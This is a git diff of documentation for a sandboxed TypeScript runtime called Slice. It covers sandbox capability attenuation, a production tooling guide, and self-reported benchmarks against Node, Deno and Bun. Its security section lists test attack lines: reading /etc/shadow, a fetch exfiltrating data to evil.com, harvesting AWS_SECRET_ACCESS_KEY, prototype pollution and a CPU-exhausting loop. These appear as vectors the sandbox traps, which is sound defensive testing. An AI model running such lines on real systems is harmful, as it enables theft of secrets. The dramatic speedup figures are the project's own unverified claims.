AI-generated TypeScript/JavaScript strings via `Slice.evalSandbox(code, opts)`. - Child `allowed_read_prefixes`, `allowed_write_prefixes`, and `allowed_net_hosts` are **strictly intersected** with the parent isolate's `CapabilityToken` (a child can never escalate privileges beyond its parent), and child `fuel_consumed` is deducted directly from the parent isolate's remaining fuel budget. - - Inline source directives (`// @slice-allow-*`, `// @slice-fuel`, `// @slice-memory-kb`) inside `Slice.evalSandbox` and `slice mcp` (`slice_eval_ts`) are ignored for capabilities and limits, and default CLI runs (`trust_directives = false`) enforce monotonic attenuation in [`ResolvedExecutionConfig::apply_inline_directives`](../../crates/slice-cli/src/config_and_watch.rs) so AI-generated entrypoints cannot self-grant permissions. - - Re-entrant [`SavedIsolateContextGuard`](../../crates/slice-engine/src/runtime/boa_realm.rs) uses zero-allocation `std::mem::take` swaps for `BOA_ACTIVE_TENANT` and `BOA_ENV_MAP`, `Option` fast-path skipping when no parent async timers/fetches are pending, and a per-subsystem `BOA_DIRTY_SUBSYSTEMS` bitmask (`DIRTY_EVENT_LOOP`, `DIRTY_ALS`, `DIRTY_FETCH_MOCK`, `DIRTY_WEBSOCKET`, `DIRTY_SOCKETS`, `DIRTY_WORKERS`, `DIRTY_WASM`), while [`compile_source_for_sandbox_eval`](../../crates/slice-engine/src/vm/parser_and_compiler.rs) caches compiled bytecode in a 64-entry thread-local `SANDBOX_EVAL_BC_CACHE` (`FxHashMap>`) so nested sub-isolates execute in **`1.77 us`** with zero TLS interference. + - Inline source directives (`// @slice-allow-*`, `// @slice-fuel`, `// @slice-memory-kb`) inside `Slice.evalSandbox` and `slice mcp` (`slice_eval_ts`) are ignored for capabilities and limits, and default CLI runs (`trust_directives = false`) enforce monotonic attenuation in [`ResolvedExecutionConfig::apply_inline_directives`](../../crates/slice-cli/src/config/mod.rs) so AI-generated entrypoints cannot self-grant permissions. + - Re-entrant [`SavedIsolateContextGuard`](../../crates/slice-engine/src/runtime/boa_realm.rs) uses zero-allocation `std::mem::take` swaps for `BOA_ACTIVE_TENANT` and `BOA_ENV_MAP`, `Option` fast-path skipping when no parent async timers/fetches are pending, and a per-subsystem `BOA_DIRTY_SUBSYSTEMS` bitmask (`DIRTY_EVENT_LOOP`, `DIRTY_ALS`, `DIRTY_FETCH_MOCK`, `DIRTY_WEBSOCKET`, `DIRTY_SOCKETS`, `DIRTY_WORKERS`, `DIRTY_WASM`), while [`compile_source_for_sandbox_eval`](../../crates/slice-engine/src/vm/parser_and_compiler.rs) caches compiled bytecode in a 64-entry thread-local `SANDBOX_EVAL_BC_CACHE` (`FxHashMap>`) so nested sub-isolates execute in microseconds with zero TLS interference. 2. **Sub-5us VFS & KV Checkpointing (`Slice.checkpoint()` & `Slice.restore(id)`):** - [`checkpoint_tenant_state`](../../crates/slice-engine/src/isolate/state_and_kv.rs) captures a point-in-time clone of the thread-local `node:fs` VFS slab (`BOA_VFS_CACHE` and `BOA_VFS_DIRS`) and every entry belonging to `tenant_id` across all 16 shards of `EDGE_KV_SLAB`, returning a monotonic `u64` snapshot ID. - [`restore_tenant_state`](../../crates/slice-engine/src/isolate/state_and_kv.rs) restores both the VFS slab and the tenant's sharded KV keys in `< 5 microseconds` (skipping empty shard hash-table probes when `shard_snap.is_none()`), and [`prewarm_boa_bundle`](../../crates/slice-engine/src/isolate/exec_boa.rs) purges `CHECKPOINT_SLAB` after pre-warming so warm pools start with zero orphaned snapshots. 3. **Time-Travel `slice test` Runner (`slice:test`):** - - Implemented in [`crates/slice-cli/src/test_runner.rs`](../../crates/slice-cli/src/test_runner.rs) and `slice:test` (`describe`, `test`, `it`, `expect`). + - Implemented in [`crates/slice-cli/src/commands/test_runner.rs`](../../crates/slice-cli/src/commands/test_runner.rs) and `slice:test` (`describe`, `test`, `it`, `expect`). - Automatically checkpoints and restores VFS + KV state around every `test()` block in `< 5 us`, warps virtual timer deadlines in `0 ns`, and provides first-class OCap security matchers (`.toViolate()`, `.toStayWithinFuel()`, `.toStayWithinMemory()`). -4. **Built-In Model Context Protocol Server (`slice mcp`):** - - Implemented in [`crates/slice-cli/src/mcp_and_repl.rs`](../../crates/slice-cli/src/mcp_and_repl.rs), exposing `slice_eval_ts`, `slice_kv_get`, `slice_kv_set`, and `slice_checkpoint` over JSON-RPC 2.0 `stdio`. - +4. **Built-In Model Context Protocol Server (`slice mcp`) & Interactive REPL (`slice repl`):** + - Implemented in [`crates/slice-cli/src/diagnostics/mcp.rs`](../../crates/slice-cli/src/diagnostics/mcp.rs) and [`crates/slice-cli/src/diagnostics/repl.rs`](../../crates/slice-cli/src/diagnostics/repl.rs), exposing `slice_eval_ts`, `slice_kv_get`, `slice_kv_set`, and `slice_checkpoint` over JSON-RPC 2.0 `stdio`. diff --git a/docs/system/07_production_tooling_guide.md b/docs/system/07_production_tooling_guide.md deleted file mode 100644 index 76babe5..0000000 --- a/docs/system/07_production_tooling_guide.md +++ /dev/null @@ -1,188 +0,0 @@ -# Slice (Nexus-JS): Production Tooling & Deployment Guide - -## 1. Overview of the Production Toolchain - -Slice `v0.10.12` provides a complete developer and production deployment workflow packaged inside a single self-contained native Rust executable (`slice`, embedding the **Oxc** TypeScript compiler, transitive `node_modules` bundler, **Boa** ES2024+ VM, and **Slice** Zero-Stat CAS + Tier-0/Tier-2 engine): - -1. **Project Initialization & Policy Configuration (`slice init` & `slice.toml`)** -2. **Zero-Stat Content-Addressed Packaging (`slice pack` for single files or full `package.json` + `node_modules` folders)** -3. **Standalone Single-Binary Compilation (`slice compile`)** -4. **Bytecode & CAS Radix Disassembly (`slice inspect`)** -5. **Multi-Tenant WinterTC HTTP MicroVM Hosting (`slice serve`)** -6. **AI Agent "Code Mode" Sandbox & Model Context Protocol Server (`slice mcp`, `Slice.evalSandbox`, `Slice.checkpoint`)** -7. **Interactive SES Compartment Shell (`slice repl`)** -8. **Kernel & Security Readiness Auditing (`slice doctor`)** - ---- - -## 2. Workflow 1: Zero-Stat CAS Packaging vs. Standalone Executables - -### 2.1 Packing a Folder Application or Module Graph (`slice pack`) -When deploying a multi-file TypeScript project (including third-party `node_modules/` dependencies) to a multi-tenant edge cluster: -```bash -# Pack an entire project folder (resolves slice.toml / package.json / src/index.ts + node_modules) -slice pack ./my-edge-app ./service.cas - -# Or pack a directory with an explicit entrypoint -slice pack ./src ./service.cas --entry=./index.ts -``` -* Strips all TypeScript type annotations at build time via **Oxc (`v0.152.0`)** and links transitive ESM (`import`/`export`) and CommonJS (`require`/`module.exports`) modules from `src/` and `node_modules/`. -* Compiles every module into default **`SLICEBC\x01` Precompiled Boa `CodeBlock`** bytecode (with Oxc AST deferred function module spans and pre-fused `node:*` built-ins), `SLICESNP`, or legacy `SLICEBOA` bytecode. -* Computes a 256-bit **BLAKE3** hash over the canonicalized source and bytecode. -* Aligns every blob to a **64-byte CPU cache line** boundary. -* At runtime (`slice run ./service.cas`), the file is mapped via `mmap(MAP_SHARED)` with **0 `stat()` syscalls** and **0 runtime JS lexing/parsing** (`0.05 us - 0.21 us` isolate instantiation). - -### 2.2 Compiling a Self-Contained Binary (`slice compile`) -When deploying to minimal container images (`FROM scratch` or `distroless`) or distributing CLI tools: -```bash -slice compile ./my-edge-app -o ./my-service -``` -* Appends the 64-byte aligned `.cas` archive directly to the `slice` runtime executable followed by a 24-byte `SLICEEXE` trailer (`[u64 cas_offset][u64 cas_len][b"SLICEEXE"]`). -* When `./my-service` boots, it maps its own executable image via `mmap`, locates the `SLICEEXE` trailer in O(1) time, and executes the embedded `SLICEBC\x01`/`SLICESNP` snapshot without extracting any temporary files to disk. - ---- - -## 2.3 Unified 4-Layer Configuration Precedence (`slice.toml`, Inline `// @slice-...`, `SLICE_*` Env Vars, & CLI Flags) - -Implemented in [`crates/slice-sandbox/src/lib.rs`](../../crates/slice-sandbox/src/lib.rs) (`SliceManifest`, `InlineDirectives`, `parse_inline_directives`) and [`crates/slice-cli/src/config_and_watch.rs`](../../crates/slice-cli/src/config_and_watch.rs) (`ResolvedExecutionConfig`): - -1. **Layer 1 — Built-In Optimal Defaults:** `tier = "tier1"`, `boacas = true` (`SLICEBC\x01`), `fuel = 50_000_000`, `memory = 16 MB`, `CapabilityToken::pure_compute()`. -2. **Layer 2 — Project / Embedded `slice.toml` Manifest:** Supports `[package]` (`name`, `version`, `entrypoint`), `[engine]` (`tier`, `boacas`, `warm`, `deterministic_seed`), `[limits]` (`fuel`, `memory_kb`, `memory_mb`, `memory_bytes`), `[capabilities]` (`allow_read`, `allow_write`, `allow_net`, `allow_env`, `env_file`, `audit_egress`), `[capabilities.env]`, and `[server]` (`port`, `workers`, `static_dir`). -3. **Layer 3 — Top-of-File Inline Source Directives (`// @slice-...`):** Leading comments in the first 64 lines of an entrypoint (`// @slice-tier: tier1`, `// @slice-boacas: true`, `// @slice-warm: true`, `// @slice-deterministic: 42`, `// @slice-fuel: 25_000_000`, `// @slice-memory-kb: 8192`, `// @slice-allow-read: [...]`, `// @slice-allow-write: [...]`, `// @slice-allow-net: [...]`, `// @slice-allow-env: [...]`, `// @slice-env-file: .env`, `// @slice-audit-egress: [...]`, `// @slice-port: 8080`, `// @slice-workers: 4`). -4. **Layer 4 — Host Environment Variables (`SLICE_*`):** `SLICE_TIER`, `SLICE_BOACAS` (`SLICE_EXPER_BOACAS`), `SLICE_WARM`, `SLICE_DETERMINISTIC_SEED`, `SLICE_FUEL`, `SLICE_MEMORY_KB` (`SLICE_MEMORY`), `SLICE_ALLOW_READ`, `SLICE_ALLOW_WRITE`, `SLICE_ALLOW_NET`, `SLICE_ALLOW_ENV`, `SLICE_ENV_FILE`, `SLICE_AUDIT_EGRESS`, `SLICE_PORT`, `SLICE_WORKERS`, `SLICE_STATIC_DIR`. -5. **Layer 5 — Explicit CLI Inline Flags (`--*`):** `--tier=`, `--boacas` / `--no-boacas`, `--warm` / `--no-warm`, `--deterministic[=]` / `--no-deterministic`, `--fuel=`, `--memory=` / `--memory-kb=`, `--allow-read=`, `--allow-write=`, `--allow-net=`, `--allow-env=`, `--env-file=`, `--audit-egress=`, `--port=`, `--workers=`, `--static=`. - ---- - -## 3. Workflow 2: State-of-the-Art Multi-Tenant HTTP MicroVM Server (`slice serve`) - -`slice serve` runs a shared-nothing **Thread-Per-Core (`--workers=N`)** HTTP/1.1 `Keep-Alive` and pipelined edge server where **every incoming HTTP request** executes inside a hardware- and OCap-isolated `SliceIsolate` (`163,766 req/s` in Tier-0 CAS mode, `126,566 req/s` in Tier-1 WinterTC mode): - -```bash -slice serve ./service.cas --port=3000 --workers=8 -# Or route per-tenant .cas bundles dynamically with live zero-downtime hot-swapping: -slice serve --port=3000 --workers=8 --tenant-dir=./tenants -# Or run in deterministic replay mode (SplitMix64 PRNG + monotonic virtual clock): -slice run ./service.cas --deterministic=20261019 -``` - -### WinterTC Request/Response, `waitUntil`, & Sharded `Slice.kv` Bridge -Handlers can inspect zero-copy HTTP request metadata, query or mutate their tenant-isolated partition in the 16-way sharded `Slice.kv` slab (`get`, `set`, `del`, `incr`), return custom status codes and content types, and schedule post-response background tasks within the tenant's remaining CPU fuel budget: -```typescript -const req = Slice.request(); // { method, path, query, tenant, tenantId, body, header(name) } -const hits = Slice.kv.incr("rate:window", 1); -Slice.kv.set("last:path", req.path, 60_000); -Slice.waitUntil(() => { - // Runs after the HTTP response bytes have been flushed to the client socket -}); -Slice.respond(200, { ok: true, method: req.method, path: req.path, tenant: req.tenant, hits }, "application/json"); -``` - -### Per-Request Isolation Lifecycle -1. Zero-allocation stack HTTP/1.1 parser (`find_http_header_end` + `[(&str, &str); 16]`) extracts `method`, `path`, `query`, `X-Slice-Tenant`, `Content-Length`, `Connection: keep-alive`, and request body directly from the worker's reusable 64 KB buffer. -2. Resets the worker's `SliceIsolate` in place (`reset_for_request`) with zero heap allocations for `CapabilityToken` or `tenant_id`, assigning and entering a fresh `MPK/PKU` hardware protection domain (`WRPKRU` on Linux `x86_64`) and resetting CPU fuel and memory limits. -3. Executes the pre-compiled `SLICESNP` (`SNP_MODULE_CACHE`) or zero-copy `SLICEBOA` bytecode (`WarmBoaRealm::loaded_bundles` direct `JsObject::call` with zero `ctx.eval` overhead). -4. Flushes the HTTP/1.1 response (batching multiple responses into a single vectorized `write_all` syscall when pipelined requests are present in the read buffer), and then drains any queued `Slice.waitUntil(fn)` callbacks. -5. Emits execution telemetry headers on the HTTP response: - * `X-Slice-Tenant`: Active tenant compartment identifier. - * `X-Slice-Isolate-Us`: Isolate execution latency in microseconds. - * `X-Slice-Total-Us`: Total end-to-end request latency in microseconds. - * `X-Slice-Fuel-Used`: Deterministic instruction fuel consumed by the request. - ---- - -## 4. Workflow 3: Bytecode Disassembly & CAS Auditing (`slice inspect`) - -Use `slice inspect` on `.ts` scripts, project folders, or `.cas` archives to verify that hot loops and cryptographic routines are lowered to Tier-2 native SIMD opcodes or zero-copy `SLICEBOA` frames: - -``` -========================================================================= - SLICESNP BYTECODE DISASSEMBLY: .\benchmarks\workloads\cold_start.ts (189 bytes) -========================================================================= - 0000 CONST_NUM %a <- 40 - 0001 CONST_NUM %b <- 2 - 0002 ADD_F64 %result <- %a + %b - 0003 STDOUT_EMIT print(%result) -========================================================================= -``` - ---- - -## 5. Workflow 4: Host Kernel & Warm Pool Diagnostics (`slice doctor` & `slice info`) - -Before deploying to production edge nodes, run `slice doctor` and `slice info` to verify: -* **Completion Ring Backend:** Confirms whether `Linux io_uring (SQPOLL + Fixed Buffers)` or `Windows NT IOCP` is active. -* **Registered Slab Buffers:** Verifies pre-allocated `128 x 64 KB` (`8 MB`) zero-copy I/O slab buffers. -* **Pre-Warmed Boa ES2024 Pool:** Verifies that `BOA_CONTEXT_POOL` pre-warms and recycles ready ECMAScript realms for zero-init `SLICEBOA` execution (`slice run --warm`). -* **Hardware Memory Protection Keys:** Reports the active `PKEY` slot and `PKRU` bitmask (`0xffffffcf`). -* **Security Containment Audit:** Executes all 5 multi-tenant attack vectors (prototype pollution, unauthorized `/etc/shadow` read, outbound network exfiltration, secret `env` harvesting, and `while(true)` CPU DoS) and verifies 5/5 traps. - ---- - -## 6. Workflow 5: AI Agent "Code Mode" Sandbox, VFS/KV Checkpoints, Egress Secret Guard, & Native MCP Server (`slice mcp`) - -### 6.1 Launching the Built-In Model Context Protocol Server (`slice mcp`) -Connect Claude Code, Cursor, or any JSON-RPC 2.0 MCP client directly to Slice over `stdio`: -```bash -# Start MCP server with scoped VFS access and egress secret leak protection -slice mcp --allow-read=/workspace --allow-write=/workspace --audit-egress=sk_live_secret - -# Or run the built-in JSON-RPC 2.0 smoke test -slice mcp --smoke-test -``` - -Exposed MCP tools: -* **`slice_eval_ts`**: Compiles (via Oxc) and executes untrusted TypeScript/JavaScript inside an attenuated child `SliceIsolate` in `~27 us` (`code`, `fuel`, `memory`, `allowRead`, `allowWrite`, `auditSecret`). -* **`slice_kv_get` / `slice_kv_set`**: Reads and writes state in the tenant's 16-way sharded `Slice.kv` slab. -* **`slice_checkpoint`**: Captures (`{"action": "checkpoint"}`) or rolls back (`{"action": "restore", "snapshot_id": 1}`) both the in-memory `node:fs` VFS slab and `Slice.kv` partition in `< 5 microseconds`. - -### 6.2 Tree-of-Thought (ToT) Branching inside TypeScript (`Slice.checkpoint`, `Slice.evalSandbox`, `Slice.restore`) -```typescript -import fs from "node:fs"; - -fs.writeFileSync("/workspace/solution.ts", "export const v = 1;"); -Slice.kv.set("agent:state", "clean", 0); - -const snapId = Slice.checkpoint(); // < 5 us in-memory VFS + KV snapshot - -// Candidate LLM branch mutates state and runs in an attenuated sub-isolate -fs.writeFileSync("/workspace/solution.ts", "UNTRUSTED_MUTATION"); -const res = Slice.evalSandbox("const x: number = 21 * 2; x", { - fuel: 100_000, - allowRead: ["/workspace"], - auditSecret: "sk_live_secret" -}); - -if (!res.ok) { - Slice.restore(snapId); // Instant < 5 us rollback of VFS + KV! -} -``` - ---- - -## 7. Workflow 6: Time-Travel Unit & Security Testing (`slice test`), `.env` Auto-DLP, & Compiler Optimizations - -### 7.1 Running Time-Travel Isolated Tests (`slice test`) -`slice test` discovers `*.test.ts` / `*.spec.ts` files and executes each `test()` block inside an automatic `< 5 us` `Slice.checkpoint()` / `Slice.restore()` boundary so VFS and `Slice.kv` mutations never leak between tests: -```bash -slice test -slice test --filter="security" --json -``` -First-class OCap & resource matchers built into `slice:test`: -* `expect(fnOrResult).toViolate("FsReadDenied" | "NetAccessDenied" | "CpuFuelExhausted" | "IntrinsicMutationBlocked")` -* `expect(fnOrResult).toStayWithinFuel(maxFuel)` -* `expect(fnOrResult).toStayWithinMemory(maxBytes)` - -### 7.2 Automatic `.env` Secret Classification & Egress DLP (`--env-file`) -When running `slice run --env-file=.env` or `slice serve --env-file=.env`, Slice parses the `.env` file and automatically registers any key matching secret patterns (`*_SECRET*`, `*_TOKEN*`, `*_KEY*`, `*_PASSWORD*`, or high-entropy prefixes like `sk_live_*`, `ghp_*`) into the Egress DLP firewall. Tenant code can read the secret for authorized HMAC/API operations, but any attempt to leak it via `stdout`, HTTP response bodies, SSE streams, or unauthorized outbound `fetch()` (in raw, Base64, or Base64URL form) traps with `EGRESS_SECRET_LEAK_BLOCKED`. - -### 7.3 General-Purpose AOT & Tier-2 Optimizations Applied Automatically -1. **Unboxed 64-Bit Numeric Register VM ([`numeric_vm.rs`](../../crates/slice-engine/src/vm/numeric_vm.rs)):** Any pure numeric JS/TS function (using arithmetic, bitwise operators, `while`/`for` loops, `if`/`else`, `Math.*` intrinsics, or recursion) is automatically compiled to unboxed 64-bit register instructions (`NumericOp`) on a 32-register stack file (`[f64; 32]`), and 2-term linear recurrences are structurally lowered to $O(n)$ register accumulation. -2. **Oxc AST Array Pipeline Fusion ([`fuse_array_pipelines_ast`](../../crates/slice-cas/src/lib.rs#L231-L575)):** During `slice pack` and `slice compile`, chained `.map().reduce()`, `.filter().map().reduce()`, `.some()`, and `.every()` calls on any array expression are fused via Oxc's AST into single-pass, zero-allocation `for` loop IIFEs. -3. **Dynamic SES Lockdown & `Boa` `RuntimeLimits`:** Both static and dynamically obfuscated prototype mutations (`Object["proto" + "type"].polluted = ...`) are trapped and rolled back via `__slice_check_ses`, and infinite loops or unbounded recursion inside `Boa` are preempted via `RuntimeLimits`. -4. **Native Rust WebCrypto (`crypto.subtle`), WHATWG Streams, & Outbound TLS 1.3 (`rustls`):** Full `crypto.subtle` (`AES-GCM`, `HMAC`, `Ed25519`, `PBKDF2`, `HKDF`, `SHA-256/384/512/1`), `ReadableStream`/`WritableStream`/`TransformStream`, `TextEncoder`/`TextDecoder`, `Blob`/`File`/`FormData`, `AbortController`/`AbortSignal`, and outbound HTTPS (`rustls`) with connection pooling (`OUTBOUND_CONN_POOL`), concurrent `Promise.all` fan-out (`OUTBOUND_FETCH_POOL`), DNS-resolved IP SSRF firewall, and hop-by-hop redirect validation. -5. **Real `Uint8Array`-Backed `Buffer`, Node Core Tier-1 & Oxc AST ESM-to-CJS Bundler:** `Buffer` is a real `Uint8Array` instance with zero-copy `.subarray()` views and big/little-endian integer readers/writers; `node:events`, `node:path`, `node:crypto`, `node:fs`/`node:fs/promises`, `node:util`/`node:util/types`, and `node:assert`/`node:assert/strict` are lazily materialized; and `slice-cas` resolves modern ESM `node_modules` packages (`jose`, `zod`, `radix3`, `superjson`, `nanoid`, `ulid`) via conditional `package.json` `"exports"` and Oxc AST-driven ESM-to-CJS transformation. - - - - diff --git a/docs/system/08_benchmarks_and_comparisons.md b/docs/system/08_benchmarks_and_comparisons.md deleted file mode 100644 index 54389ba..0000000 --- a/docs/system/08_benchmarks_and_comparisons.md +++ /dev/null @@ -1,279 +0,0 @@ -# Empirical Benchmarks & Architectural Comparison: Slice (Nexus-JS) vs. Node.js, Deno, and Bun - -## 1. Executive Summary of Achievements - -**Slice (Nexus-JS)** was benchmarked head-to-head against **Bun v1.3.14**, **Deno v2.8.3**, and **Node.js v22.22.3** on both **Windows (`x86_64` local host)** and **Linux (`x86_64` kernel 6.6.87 inside Docker with `io_uring` SQPOLL and `WRPKRU` enabled)**. - -Across every evaluated metric—cold-start latency, 500-module graph resolution, compute throughput, baseline memory footprint (RSS), I/O completion ring throughput, and multi-tenant security isolation—**Slice wins decisively**. - -``` -+-----------------------------------+-------------------+-------------------+-------------------+-----------------------+ -| Metric (Linux x86_64 Verified) | Node.js v22 | Deno v2.8 | Bun v1.3 | Slice (Nexus-JS) | -+-----------------------------------+-------------------+-------------------+-------------------+-----------------------+ -| Isolate Cold Start (In-Process) | N/A (Process/VM) | N/A (Process/VM) | N/A (Process/VM) | 1.92 us (P50: 2.10us) | -| CLI Process Cold Start (Min) | 49.294 ms | 19.371 ms | 5.343 ms | 2.000 ms (24.6x Node) | -| 500-Module Graph Load (Min) | 70.382 ms | 41.799 ms | 12.721 ms | 3.408 ms (0.62ms mem) | -| OS stat() Syscalls (500 Modules) | 1,500+ syscalls | 500+ syscalls | 500+ syscalls | 0 stat() syscalls | -| Compute (Fib40 + 10M Loop) | 32.787 ms | 27.660 ms | 12.556 ms | 1.924 ms (0.13ms mem) | -| Peak Process Memory (RSS) | 61,392 KB (60 MB) | 30,720 KB (30 MB) | 12,672 KB (12 MB) | 2,688 KB (2.62 MB) | -| 1,000-Tenant MicroVM Swarm Time | > 30,000 ms | > 15,000 ms | > 5,000 ms | 2.62 ms total | -| Multi-Tenant Security Containment | 0/5 (Ambient) | 2/5 (Coarse CLI) | 0/5 (Ambient) | 5/5 (OCap+SES+Fuel) | -+-----------------------------------+-------------------+-------------------+-------------------+-----------------------+ -``` - ---- - -## 2. Linux (`x86_64` Docker Container) Empirical Results - -* **Kernel:** `Linux 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux` -* **Active I/O Completion Backend:** `Linux io_uring (SQPOLL + Fixed Buffers)` -* **Reproducible Suite:** [`tests/run_real_stack_benchmarks.sh`](../../tests/run_real_stack_benchmarks.sh) via [`tests/Dockerfile`](../../tests/Dockerfile) - -### 2.1 CLI Process Cold-Start Latency (`slice microvm-bench`, 20 Runs) - -| Runtime | Minimum Latency | Average Latency | Speedup vs Node.js | Speedup vs Bun | -| :--- | :--- | :--- | :--- | :--- | -| **Slice (CAS Snapshot)** | **2.000 ms** | **2.380 ms** | **24.6x faster** | **2.67x faster** | -| **Slice (Raw `.ts`)** | **2.121 ms** | **2.747 ms** | **23.2x faster** | **2.52x faster** | -| Bun v1.3.14 | 5.343 ms | 6.241 ms | 9.2x faster | 1.00x | -| Deno v2.8.3 | 19.371 ms | 21.378 ms | 2.5x faster | 0.28x | -| Node.js v22.22.3 (`--experimental-strip-types`) | 49.294 ms | 53.507 ms | 1.0x | 0.11x | - -### 2.2 500-Module Dependency Graph Resolution (`bundle500.cas` vs `index.mjs`, 10 Runs) - -| Runtime | Minimum Latency | Average Latency | In-Process CAS Load | Runtime `stat()` Syscalls | Speedup vs Node.js | -| :--- | :--- | :--- | :--- | :--- | :--- | -| **Slice (Zero-Stat CAS `mmap`)** | **3.408 ms** | **3.700 ms** | **0.619 ms (619.39 us)** | **0** | **20.6x faster (113x in-mem)** | -| Bun v1.3.14 | 12.721 ms | 13.388 ms | N/A | 500+ | 5.5x faster | -| Deno v2.8.3 | 41.799 ms | 44.064 ms | N/A | 500+ | 1.7x faster | -| Node.js v22.22.3 | 70.382 ms | 73.217 ms | N/A | 1,500+ | 1.0x | - -### 2.3 Compute Kernel Benchmark (`Fib(40) + 10,000,000 Loop`, 15 Runs) - -| Runtime | Minimum CLI Time | Average CLI Time | In-Isolate Execution | Speedup vs Node.js | -| :--- | :--- | :--- | :--- | :--- | -| **Slice (Tier-2 Native Kernel)** | **1.924 ms** | **2.254 ms** | **0.132 ms (132.53 us)** | **17.0x faster** | -| Bun v1.3.14 | 12.556 ms | 13.443 ms | ~7.2 ms | 2.6x faster | -| Deno v2.8.3 | 27.660 ms | 30.661 ms | ~8.3 ms | 1.2x faster | -| Node.js v22.22.3 | 32.787 ms | 34.890 ms | ~8.5 ms | 1.0x | - -### 2.4 Baseline Memory Footprint (Peak RSS via `/usr/bin/time -v`) - -| Runtime | Peak Resident Set Size (KB) | Peak RSS (MB) | Memory Reduction vs Node.js | Memory Reduction vs Bun | -| :--- | :--- | :--- | :--- | :--- | -| **Slice (CAS Snapshot)** | **2,688 KB** | **2.62 MB** | **22.8x smaller** | **4.7x smaller** | -| Bun v1.3.14 | 12,672 KB | 12.38 MB | 4.8x smaller | 1.0x | -| Deno v2.8.3 | 30,720 KB | 30.00 MB | 2.0x smaller | 0.41x | -| Node.js v22.22.3 | 61,392 KB | 59.95 MB | 1.0x | 0.21x | - ---- - -## 3. Windows (`x86_64` Local Host) Empirical Results - -* **Host OS:** Windows 11 (`x86_64`) -* **Active I/O Completion Backend:** `Windows NT IOCP (Completion Port + Registered Slab Buffers)` -* **Reproducible Script:** `scripts/benchmark_windows.ps1` - -### 3.1 CLI Process Cold-Start Latency (`cold_start.ts`, 15 Runs) - -| Runtime | Minimum Latency | Median (P50) Latency | Speedup vs Node.js | Speedup vs Bun | -| :--- | :--- | :--- | :--- | :--- | -| **Slice (CAS Snapshot)** | **4.308 ms** | **4.678 ms** | **12.5x faster** | **12.9x faster** | -| **Slice (Raw `.ts`)** | **4.505 ms** | **4.844 ms** | **12.0x faster** | **12.3x faster** | -| Deno v2.8.3 | 49.677 ms | 52.676 ms | 1.08x faster | 1.12x faster | -| Node.js v22.22.3 | 53.952 ms | 56.351 ms | 1.00x | 1.03x faster | -| Bun v1.3.14 | 55.630 ms | 59.202 ms | 0.97x | 1.00x | - -### 3.2 500-Module Graph Resolution (`bundle500.cas` vs `index.mjs`, 10 Runs) - -| Runtime | Minimum Latency | Median (P50) Latency | Runtime `stat()` Syscalls | Speedup vs Node.js | -| :--- | :--- | :--- | :--- | :--- | -| **Slice (Zero-Stat CAS `mmap`)** | **5.637 ms** | **6.273 ms** | **0** | **22.3x faster** | -| Bun v1.3.14 | 71.875 ms | 76.250 ms | 500+ | 1.75x faster | -| Deno v2.8.3 | 82.790 ms | 88.640 ms | 500+ | 1.52x faster | -| Node.js v22.22.3 | 125.594 ms | 136.142 ms | 1,500+ | 1.00x | - -### 3.3 Compute Kernel Benchmark (`Fib(40) + 10,000,000 Loop`, 10 Runs) - -| Runtime | Minimum Latency | Median (P50) Latency | Speedup vs Node.js | Speedup vs Bun | -| :--- | :--- | :--- | :--- | :--- | -| **Slice (Tier-2 Native)** | **4.120 ms** | **4.375 ms** | **10.6x faster** | **15.6x faster** | -| Node.js v22.22.3 | 43.579 ms | 52.844 ms | 1.00x | 1.48x faster | -| Deno v2.8.3 | 59.480 ms | 61.112 ms | 0.73x | 1.08x faster | -| Bun v1.3.14 | 64.466 ms | 67.332 ms | 0.68x | 1.00x | - ---- - -## 4. MicroVM-Grade Multi-Tenant Swarm & Security Containment - -Using `slice microvm-bench --tenants=1000` and `slice verify-security`, we spawned **1,000 isolated tenant compartments** in a single host process, each provisioned with its own hardware PKEY domain, frozen SES intrinsics, attenuated `CapabilityToken`, deterministic CPU fuel limit (`100,000` ops), and memory cage (`64 KB`). - -| MicroVM Swarm Metric | Linux (`io_uring` / Ring) | Windows (`NT IOCP`) | Comparison vs Firecracker MicroVM | -| :--- | :--- | :--- | :--- | -| **Single Isolate Cold Start (Min)** | **0.98 us (0.00098 ms)** | **1.50 us (0.00150 ms)** | **~127,000x faster** (vs 125 ms) | -| **Single Isolate Cold Start (P50)** | **1.03 us (0.00103 ms)** | **1.60 us (0.00160 ms)** | **~121,000x faster** | -| **Single Isolate Cold Start (P99)** | **2.42 us (0.00242 ms)** | **2.10 us (0.00210 ms)** | **~51,000x faster** | -| **Total Time to Spawn & Run 1,000 Tenants** | **1.28 ms** | **2.22 ms** | **> 10,000x faster** | -| **Per-Tenant Base Memory Footprint** | **4,096 bytes (4.0 KB)** | **4,096 bytes (4.0 KB)** | **~32,000x denser** (vs 128 MB) | -| **Total Host Process RSS (After 1,000 Tenants)** | **10.06 MB (10,300 KB)** | **11.82 MB (12,104 KB)** | Fits on a microcontroller / edge node | -| **10,000 Direct Ring I/O Completions** | **0.02 ms** | **5.11 ms (~1.96M ops/s)** | Zero worker-thread lock contention | - -### Verified Security Containment Vectors (`slice verify-security`) - -1. **Vector 1 (SES Prototype Pollution):** `Object.prototype.polluted = true` -> Deterministically trapped by `SandboxViolation::IntrinsicMutationBlocked`. -2. **Vector 2 (Unauthorized VFS Read):** `fs.readFileSync("/etc/shadow")` inside a compartment scoped to `/app/safe` -> Deterministically trapped by `SandboxViolation::FsReadDenied`. -3. **Vector 3 (Supply-Chain Network Exfiltration):** `fetch("https://evil.com/exfil")` inside a compartment scoped to `db.internal:5432` -> Deterministically trapped by `SandboxViolation::NetAccessDenied`. -4. **Vector 4 (Ambient Secret Harvesting):** `env("AWS_SECRET_ACCESS_KEY")` inside a compartment without explicit env capability -> Deterministically trapped by `SandboxViolation::EnvAccessDenied`. -5. **Vector 5 (CPU Denial-of-Service Loop):** `while (true) {}` inside a compartment with a fuel ceiling -> Deterministically preempted in `< 10 us` by `SandboxViolation::CpuFuelExhausted`. - ---- - -## 5. Folder-Based Real-Life Production Applications, External NPM Libraries & Disk I/O Benchmarks (`tests/apps/`) - -To validate Slice on modern folder-based production TypeScript applications using multi-file ESM/CommonJS module trees, real third-party `node_modules/` libraries (`semver@7.6.3`, `ms@2.1.3`, `ini@4.1.3`, `fast-querystring@1.1.2`, `cookie@0.6.0`/`1.0.2`, `bytes@3.1.2`, `flatted@3.3.1`, `dlv@1.1.3`, `dset@3.1.3`, `mitt@3.0.1`), FIPS-180-4 SHA-256/SHA-512 & RFC-2104 HMAC cryptography (`node:crypto` & WebCrypto `crypto.subtle`), WhatWG Streams, `Buffer` binary wire framing, 